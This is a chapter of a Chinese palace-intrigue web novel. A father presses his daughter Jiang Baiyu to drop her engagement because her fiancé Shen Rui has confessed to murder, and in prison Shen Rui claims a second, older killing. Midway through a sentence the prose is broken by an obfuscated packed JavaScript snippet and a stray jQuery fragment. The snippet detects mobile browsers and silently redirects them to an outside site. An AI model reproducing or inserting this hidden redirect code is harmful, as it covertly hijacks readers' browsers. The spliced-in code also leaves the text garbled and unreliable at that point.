28. 梧桐影(1)
作品:《被失忆将军误认成爱人后,真成了?》 姜府庭院深深,梧桐枝叶交错,筛下满地碎金。姜白鱼倚坐秋千,指尖漫不经心地缠绕着绳索,思绪却早已飘远。
她在等,等贺松年的消息。
脚步声踏碎寂静。姜太尉风尘仆仆的身影穿过月洞门,径直朝她走来。人至中年,身形已见发福,唯面容尚存几分旧时轮廓。见白鱼目光扫来,他脸上堆上和蔼可亲的笑容,连眼角的皱纹都挤作一团。
权倾朝野的威仪,在女儿面前只余下小心翼翼的殷切。
“阿鲤,我给你带了点心。”他近前。
姜白鱼懒懒抬眼,又垂下,权作不见。
“没胃口。”
姜太尉挨了冷脸,倒也不恼,走到她身后,掌心贴向秋千索。看似未用劲,秋千已稳稳荡起:“你这性子,真像你娘。”
姜白鱼打了个呵欠,问:“我娘,究竟是怎样的人?”
“她是顶好的女子,美不过是其中最末等的优点,”姜太尉声音悠远,“当年我讨伐巴国,途径益州,只一眼,我便知道,此生非她不可。”
“哦?”姜白鱼语气轻飘,如风拂叶,“那葛氏和辛氏呢?”
姜太尉喉头一哽:“纳葛氏是在你娘之前,至于辛氏,”他叹气,“阿鲤,我也有许多不得已。”
“不得已?”秋千缓了下来,姜白鱼问,“哪个‘不得已’,能让太尉舍了亲生骨肉,十八年不闻不问?”
沉默如石,沉沉压下。
“困了,歇息去。”姜白鱼欲起身。
“阿鲤,”姜太尉叫住了她,声音陡然凝重,“退了沈家的亲事。”
少女笑了,声如碎冰:“十八年没管过,如今倒要伸手了?”
“我知你怨我。”姜太尉看着姜白鱼。
姜白鱼沉默了。
“德妃属意于你,”姜太尉道,“姜家需要一个女儿做太子妃,我希望,是你。”
“嗯?”她从鼻间应了一声。
“我这是为你好。”他早筹谋妥当——月澜配沈锐,白鱼入东宫。未料归京之时,情况竟颠倒过来。
“好一个‘为我好’。”姜白鱼语带讥诮,别过脸去。
“阿澜若知你为太子妃,”姜太尉凝望着梧桐深处,“定会欣慰。”
“‘阿澜’?”姜白鱼一时茫然。不知他说的是星澜还是月澜。
“你母亲。”姜太尉字字低沉。
姜白鱼有些惊讶。没想到“澜”竟是母亲的名讳。她指尖一蜷:“华阳夫人,究竟是怎么去的?”
姜太尉对她生疏的称谓有些介意:“你当唤她一声‘母亲’。若不知如何唤我……”
他想了想,竟道:“唤‘阿伯’亦可。”
姜太尉的态度很是奇怪,不过比起这个,姜白鱼更在意的是别的事情。
“为何定要我做太子妃?”她追问,“德妃看上我什么?”
“世人皆知,五年前金凤栖于仙云台梧桐,至尊遂改元‘金凤’。”姜太尉眼底映着梧桐疏影,“少有人知,那梧桐树,是你母亲怀着你时,为祈福,亲手所植。”
“就为这个?”姜白鱼几欲失笑。凤凰?透过满院梧桐,她没看到凤凰,倒是看到了姜太尉的执念。
他若是编造出什么谣言来,谋求把女儿作为权力交换的工具,姜白鱼会毫不意外。
姜太尉欲言又止,终只道:“这缘由,便足够了。何况。亦有姜家的缘故。”
“可我若只想嫁沈锐呢?”她直视他。
姜太尉神色凝重:“沈锐。怕是不成了。”
姜白鱼有些好奇:“怎讲?”
“沈锐已经认罪了。虐杀后宫嫔妃,罪无可赦。”
“什么?”姜白鱼霍然起身。
姜太尉道:“还是趁早退婚罢。说起来,若非阿澜非要和沈家定娃娃亲……”
“沈锐他,承认了?”姜白鱼仍旧未反应过来,“可这件事,明明不是他做的……而且,‘他’说过,他会还沈锐清白的。”
姜太尉将白鱼的焦灼尽收眼底,道:“沈锐许多主张,我实难苟同。但其为人,无可指摘。当年换防驻地,他交接的驻地,连营寨篱笆都修得一丝不苟。那时,我便知道此子不凡。”
“那,”姜白鱼声音发紧,“你可能救他?”
“阿鲤,你终究不懂这朝堂,”姜太尉摇头喟叹,“他背后之人,是存心要毁他,早已罗织了罪名。况且,他自己都认罪了,外人又能说些什么?”
“我知道,”姜白鱼无意识重复着,“可贺松年答应过的。我得去找他……”
姜太尉摇摇头:“沈锐已经认罪了,你找他,没用的。”
姜白鱼想过凶手栽赃,想过贿赂贪腐判冤案,千算万算,唯独没想过沈锐自己会认罪。
一个念头涌上心间,她问:“莫不是屈打成招?”话一出口,她便否定了自己的问题。
沈锐是断了骨头都不会哼一声的人,又怎会屈打成招?
“难道,是被谁威胁了?”姜白鱼想来想去,都找不到解释。
-
姜白鱼冲出姜府大门时,暮色已四合。盛京的晚风带着白日未散的暑气,裹挟着市井的喧嚣扑面而来,却吹不散她心头的寒意。
“沈锐认罪了?”
这句话在她脑中反复锤击,每一下都带着荒谬的回响。那个在菱江池畔枪尖写“永”字、意气风发如骄阳的沈锐?那个在马车里为她压□□内炙毒、耳根微红却强作镇定的沈锐?那个面对七皇子污蔑构陷都未曾低头的沈锐?会认下这栽赃构陷的杀人之罪?
不可能!
她几乎是凭着本能奔向刑部衙门。贺松年,只有贺松年,他是刑部给事中,是贺正狱的嫡孙,是这污浊官场里她唯一还能抓住的、象征着“明镜高悬”的浮木。他说过会查清真相,他说过不会冤枉好人。
然而,当她气喘吁吁地赶到刑部门前,却被冰冷的拒马和面无表情的守卫拦下。
“贺松年大人在哪里?”她问。
守卫的眼神毫无波澜:“贺大人正在提审要犯,无暇见客。请回。”
提审要犯?是沈锐吗?贺松年在审他?他是不是在想办法?姜白鱼心中燃起一丝微弱的希望,却又被更深的不安攫住
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849722|175232||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。贺松年说过会帮她,可姜太尉也说沈锐已经认罪了……贺松年会不会也……她不敢深想。
-
诏狱深处,连光阴亦被吞噬,豢养着绝望。司空厌便在这片昏暗幽寂里缓步行来。
鸦青色锦袍在昏暗甬道火把的照耀下流淌着光泽,步履落于湿冷石阶,隐约回响。
值守狱卒见了他,如鼠避猫,屏息垂首退至阴影深处,不敢多看一眼那俊美而阴鸷的脸庞。
沈锐被悬在刑架上。他的手腕被粗粝铁链磨得皮开肉绽,凝结的血污粘着破烂的囚衣。他低垂着头,长发散乱,遮住了脸。
司空厌在距他一步之遥处停驻。他没有立刻说话,只是静静看着。良久,从怀中掏出一本书来。就着壁上火炬点燃。火光舔舐纸页,他屈膝蹲下,冷眼观书成灰。
“你,终于,来了。”沈锐开口,嗓音沙哑。
司空厌少年般的清脆音色在死寂中漾开:“别来无恙。”
他站起身,随口一吹,掌中的灰烬便如黑色的雪,幽幽飘散,几点落在沈锐染血的囚衣上,几点沾上他灰败的脸颊。
“这是司空氏族谱,烧给司空家枉死之人……这,就叫因果。”司空厌冷笑道,“屈打成招的滋味,还好受吗?沈怀拙。”
沈锐虚弱无力地笑了笑,道:“谁说这是屈打成招。”
“怎么,蒋婕妤真是你杀的?”司空厌问。
沈锐道:“没错,我恨她。我杀她,没费功夫。”
司空厌的表情变得十分不对劲。
这不像是沈锐的作风……
却听沈锐下一句道:“不仅是她,十年前,公平县,缝口尸案,亦是我所为。”
诏狱深处那点微弱的火光,终于将司空厌带来的族谱彻底吞噬,只余一地灰烬,如同散落的、冰冷的黑色雪花。
从天窗涌入一阵阴冷的风,吹起黑雪漫天飞舞,在司空厌的白发上也沾染了少许。
沈锐那句“公平县缝口尸案,亦是我所为”,如同投入死水的巨石,在司空厌心中掀起滔天巨浪。他猛地攥紧铁栏,指节因用力而发出咯咯声响,手背上青筋暴起,那双总是阴鸷沉静的眸子里,此刻翻涌着震惊、狂怒,以及一丝……连他自己都未曾察觉的恐惧。
“你……到底要做什么?”司空厌的声音从齿缝里挤出,几乎破了音。
沈锐抬起头,乱发缝隙间露出的眼睛,带着一种近乎残忍的笑意,平静地回视着司空厌的失态。那笑意深处,是深不见底的寒潭。
“做什么?”沈锐的声音嘶哑,却异常清晰,一字一句,敲打在潮湿冰冷的石壁上,“你不是最懂‘因果’么?”
司空厌死死盯着刑架上那个血迹斑斑的身影,仿佛第一次真正认识这个人。
这不是他熟悉的沈锐。这不是那个恪守礼法、心怀家国的沉稳将军。这是一个从地狱爬回来的复仇者,一个不惜将自己碾碎也要将仇敌一同拖入深渊的疯子。
沈锐微微侧头,目光似乎穿透了厚重的石壁,望向某个遥远的所在。他笑语吟吟道:“你说得对,这,就叫因果啊。阿焉。”